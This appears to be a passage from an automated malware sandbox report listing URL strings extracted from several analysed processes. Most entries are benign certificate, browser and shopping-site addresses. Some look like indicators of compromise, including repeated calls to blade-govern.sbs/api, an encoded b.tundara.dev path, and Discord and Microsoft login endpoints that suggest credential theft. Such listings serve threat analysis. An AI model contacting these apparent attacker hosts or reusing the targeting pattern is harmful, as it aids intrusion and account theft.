Source: filer.exe, 0000001A.00000002.2804238379.00007FF7CABC8000.00000004.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://sw.symcd.com0
Source: filer.exe, 0000001A.00000002.2804238379.00007FF7CABC8000.00000004.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://sw1.symcb.com/sw.crt0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: file.exe, file.exe, 00000000.00000002.1940077735.000000007013D000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1923993216.000000001DA74000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1939241011.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Tq4a1Bz.exe, 00000031.00000003.2683508681.000000000A93F000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2874866286.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048014112.00000000059B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: filer.exe, 0000001A.00000002.2747248656.000000C000E56000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://MD8.mozilla.org/1/m
Source: Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: filer.exe, 0000001A.00000002.2758566181.000000C00121C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.c
Source: powershell.exe, 0000001F.00000002.2510101380.0000019681581000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: filer.exe, 0000001A.00000002.2727223517.000000C000268000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://b.tundara.dev/tapped/f9b7f1b3-b6a0-4bc1-825a-b4180e3cdc4f/ZWM6ZjQ6YmI6ODI6Zjc6ZTAxOTg4Mjc0Mi
Source: filer.exe	String found in binary or memory: https://b.tundara.dev/tapped/f9b7f1b3-b6a0-4bc1-825a-b4180e3cdc4f/reflect:
Source: 4edf09f764.exe, 00000034.00000003.3046636505.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/
Source: 4edf09f764.exe, 00000032.00000003.3015738461.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/0
Source: 4edf09f764.exe, 00000034.00000003.3048746882.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047329752.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097168676.00000000011E8000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3050151346.00000000011E9000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/L
Source: 4edf09f764.exe, 00000034.00000003.2974126653.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2984206499.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/THm
Source: 4edf09f764.exe, 00000032.00000003.2904558866.0000000005B62000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2918582234.0000000005B62000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/TO6
Source: 4edf09f764.exe, 00000034.00000003.3006999439.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3047418528.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/Us
Source: 4edf09f764.exe, 00000034.00000003.3047418528.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3048746882.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/Wi
Source: 4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/Y
Source: 4edf09f764.exe, 00000034.00000003.3046636505.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079943383.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097259649.00000000011F2000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097316159.00000000011F9000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3097378026.00000000011FF000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3045518235.00000000011E7000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046554146.00000000011EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/api
Source: 4edf09f764.exe, 00000032.00000003.2962948286.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/api(w
Source: 4edf09f764.exe, 00000032.00000003.2874047471.00000000013D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/api9Zh
Source: 4edf09f764.exe, 00000032.00000003.2962948286.00000000013E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apiA4
Source: 4edf09f764.exe, 00000034.00000003.3008319488.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3006999439.0000000001195000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3046636505.0000000001195000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apiM
Source: 4edf09f764.exe, 00000034.00000003.3079943383.00000000011EB000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apibm
Source: 4edf09f764.exe, 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apijh
Source: 4edf09f764.exe, 00000032.00000003.2904758611.00000000013D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apila
Source: 4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/apiyK
Source: 4edf09f764.exe, 00000034.00000003.3006999439.00000000011E1000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3008319488.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/e
Source: 4edf09f764.exe, 00000032.00000003.2941499349.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/sx
Source: 4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs/x
Source: 4edf09f764.exe, 00000032.00000003.2916219673.000000000137B000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843235733.00000000013D5000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2850540663.00000000013D0000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2844588125.00000000013CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs:443/api
Source: 4edf09f764.exe, 00000032.00000003.2808417246.00000000013C9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://blade-govern.sbs:443/apiive=C:SystemRoot=C:
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2878424249.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2727223517.000000C000176000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mo
Source: filer.exe	String found in binary or memory: https://cdn.discordapp.com/avatars/C:
Source: Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2878424249.0000000005B61000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/alt-svc.html
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/hsts.html
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://curl.se/docs/http-cookies.html
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://d.symcb.com/cps0%
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://d.symcb.com/rpa0
Source: filer.exe, 0000001A.00000002.2801936588.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp, filer.exe, 0000001A.00000000.2453997875.00007FF7CA566000.00000008.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://d.symcb.com/rpa0)
Source: filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://discord.com/api/v8/guilds/expected
Source: filer.exe, filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://discord.com/api/v9/users/
Source: filer.exe, 0000001A.00000002.2806587118.00007FF7CAC2C000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: https://discord.gg/tls:
Source: file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.1664665615.0000000023A52000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1897672574.0000000001676000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, Tq4a1Bz.exe, 00000031.00000003.2677614483.0000000009FD3000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843641204.0000000005C41000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2843495667.0000000005B75000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3009511398.00000000059D5000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3010744040.00000000059CD000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 0000001F.00000002.2510101380.00000196817A7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 60114bff78.exe, 00000029.00000003.2631118525.00000000075EF000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: 4edf09f764.exe, 00000034.00000003.3079842541.00000000011E6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: filer.exe, 0000001A.00000002.2727223517.000000C000135000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: filer.exe, 0000001A.00000002.2747248656.000000C000936000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2758566181.000000C00121C000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: 4edf09f764.exe, 00000034.00000003.3012836918.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3013953640.0000000005990000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXID/
Source: filer.exe, 0000001A.00000003.2711307055.000001D7EEF20000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2714905608.000001D7EF000000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2712445211.000001D7EEF70000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2706147542.000001D7EED70000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000003.2707870749.000001D7EEDF0000.00000004.00001000.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3012836918.00000000059A2000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3076994353.000000000598A000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.3045272755.0000000005982000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://msn.comXIDv10
Source: powershell.exe, 0000001F.00000002.2525597294.00000196915F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: Tq4a1Bz.exe, 0000002C.00000002.2649456843.000000000067E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sectigo.com/CPS0
Source: 4edf09f764.exe, 00000034.00000003.3050247603.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: filer.exe, 0000001A.00000002.2727223517.000000C000180000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefox
Source: 4edf09f764.exe, 00000034.00000003.3050247603.0000000005AA7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: file.exe, 00000000.00000003.1792018069.0000000023BB3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: filer.exe, 0000001A.00000002.2747248656.000000C000993000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2758566181.000000C0010A2000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2727223517.000000C0000A2000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://weibo.com/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.aliexpress.com/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.ca/
Source: filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.co.uk/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00095A000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/
Source: 4edf09f764.exe, 00000034.00000003.3097424404.00000000011E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e19
Source: file.exe, 00000000.00000002.1928548119.0000000023A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2747248656.000000C000936000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.fr/
Source: filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.avito.ru/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.baidu.com/
Source: filer.exe, 0000001A.00000002.2758566181.000000C00120A000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.bbc.co.uk/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ctrip.com/
Source: filer.exe, 0000001A.00000002.2747248656.000000C00093F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.co.uk/
Source: filer.exe, 0000001A.00000002.2747248656.000000C000A78000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ebay.de/
Source: Tq4a1Bz.exe, 00000031.00000002.2696030706.00000000097DA000.00000004.00000020.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2810681063.0000000005BAB000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000032.00000003.2811056881.0000000005BA9000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2978631158.000000000599B000.00000004.00000800.00020000.00000000.sdmp, 4edf09f764.exe, 00000034.00000003.2975836323.00000000059B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: filer.exe, 0000001A.00000002.2758566181.000000C0010A2000.00000004.00001000.00020000.00000000.sdmp, filer.exe, 0000001A.00000002.2727223517.000000C000176000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
